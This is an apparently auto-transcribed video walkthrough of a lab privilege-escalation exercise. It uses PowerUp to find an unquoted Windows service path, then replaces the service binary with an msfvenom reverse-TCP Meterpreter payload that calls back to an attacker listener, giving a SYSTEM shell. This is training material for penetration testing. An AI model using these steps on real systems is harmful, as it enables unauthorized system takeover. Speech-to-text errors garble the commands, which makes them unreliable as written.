All right now we've got a mortar fritters shell and I'm going to take the easy way out for the first
walkthrough.
So we're going to power up where it is going to utilize power up just like we did before because power
up did a great job of finding the vulnerabilities for us especially with the unquote service pad.
So let's go ahead and upload a power up that P.S. 1.
But before we do that I want to make one small modification and I'll show you why.
So let's go ahead and you get it and I'm a do power up at P.S. 1.
So wherever your power file is.
Go ahead and just get that or however you like to edit your files at the very bottom.
Go ahead and just type in invoke dash all checks and save it out.
Now why am I doing this and I'll leave this open for a second.
Let's go ahead and just upload this file and we'll see why I'm doing this so root transfer power up.
P.S. 1.
Now if I go into a shell and I say hey power show execution policy.
Pipe bypass there and then we're going to see what happens we try to run it.
We are stuck in the frozen shell land.
OK.
So this isn't going to work.
However if we can run the file itself and tell it to execute a command at the end of the file which
is what we're doing then we don't have to load it.
We can just say hey go ahead and just run this power up.
P.S. 1 and it's going to execute for us now because we told it go ahead and execute invoke all checks.
So now what we're gonna do is we're seeing that it's ran for us and we can come through here and we
can see that we have unquote ad service bats now advance system care service nine is the path that we're
going to be attacking.
You can see here the C program files has a space in it.
We need to make sure that we can actually start and stop this service.
So usually it gives us some sort of can restart can't restart here I don't see it in a verbose level
so what we're gonna do is just quickly check I'm going to copy this and I'm just going to query the
service with SC CSC query query the service.
You can see that it's running.
I'm going to go ahead and just say SC stop.
We're going to query the service one more time and you can see that it is stopped.
So from here I think we're fine.
I'm going to leave this stopped.
What we're going to do is we're going to open up another medicinally.
We could do this in the same window.
I think it's just easier to have to say I'm going to load up another medicine.
We'll do it MSF console here and we're going to create a file and we're actually just going to call
it whatever this executable was we'll call it the AFC service that XY and we're going to make this.
Let's go ahead and control.
For now we'll terminate the channel.
Let's get this info on this ABC were on 64 bit architecture a 2012 R2 build.
So we're going to take that information and we're going to use the multi handler
and let's go ahead and try using the payload.
So let's go ahead and to say set payload windows interpreter and we'll say
verse DCP we can actually add this into X 64 here and then we'll go options so I'll host two.
For me it's ten to eleven and forward at 114.
I'm going to set the output to something different.
We're gonna go with all fives and we're gonna run this now I'm an open up another new tab and I'm just
going to say we'll put this in transfer and I'm going to say MSF venom dash P windows X 64 interpreter
reverse JCP we'll set the L host of 10 to 11 and forward at 114.
The output of all fives the file type of executable and we're gonna save that out to this AC service
that you see and I'm going to slow down just for a second just so you have time to catch up I did that
a little bit fast I mean hit enter here and let this generate.
So this should be all the none of this should be new news to you.
Right.
This should all be something we've seen before.
We've generated a million payloads already by this point.
We know that we're putting a payload into a service and we're going to let that service run when that
service runs it's going to call out this and it's going to execute.
So let's go ahead and try that now we've got the service stopped.
We're going to go ahead and jump back into this.
So let's first change our directory.
So we're going to see to the directory which we're going to go ahead and use C.D. to see and we're gonna
make this easy we're just going to see these two program files x eighty six to just deal with these
spaces.
And then if we P.W. D we should be in the program files.
Okay.
And then we're going to see two Io bit and see into advanced system care.
All right.
So the way I did this is just because of the escaping.
It's a lot easier to just do it this way in my opinion than it is to try to type it out and have the
quotations around it.
But to each their own if you have a preferred way you can absolutely use that.
So from here what I'm going to do is I'm just going to upload the file so it's in route transfer and
then it starts with the A.
So AFC service that you see and that's going to replace the file we have in there.
I'm going to drop into a shell and we should be running over here.
We're running.
I'm dropping into a shell and then I'm just going to say SC start
advanced system care service nine and fingers crossed.
We've got a shell.
Get you.
We are the authority system.
Awesome.
We have own this machine.
So brief recap we were able to exploit the service path.
Now we identified the service path using power up.
Remember we had issues with power up.
So we had to use the invoke all checks in this maternity type session.
So the at the invoke all checks showed that we had this vulnerable service here and the vulnerable service
was the advanced system care.
Now because of the spacing in the files we were able to execute this since this was not quoted off properly.
Remember we went to the registry we looked at those.
There's no quotations around this.
We looked at the image path in the registry.
So from here we're able to exploit this by uploading malicious file here we just replace the service
itself and we're able to run that get a reverse shell.
And we were good.
OK.
So let's like our session died but we can now from here we can migrate and try to do this again.
But we're going to do this from a complete non Meadows point attack surface.
So if you want to do the try hack me version you can go into try hack me and I try to follow along with
their access and escalation.
But you're also very welcome to just follow along with the video or give this a try and your own and
see if you can do it.
Hint Try not using power up the next time try using wind peas or something else.
And the process will still be the same but we're going to give it just another go.
Just so you can see this without meds.
So I'll get you over in the next video.
We run through this one more time completely through without meds flight.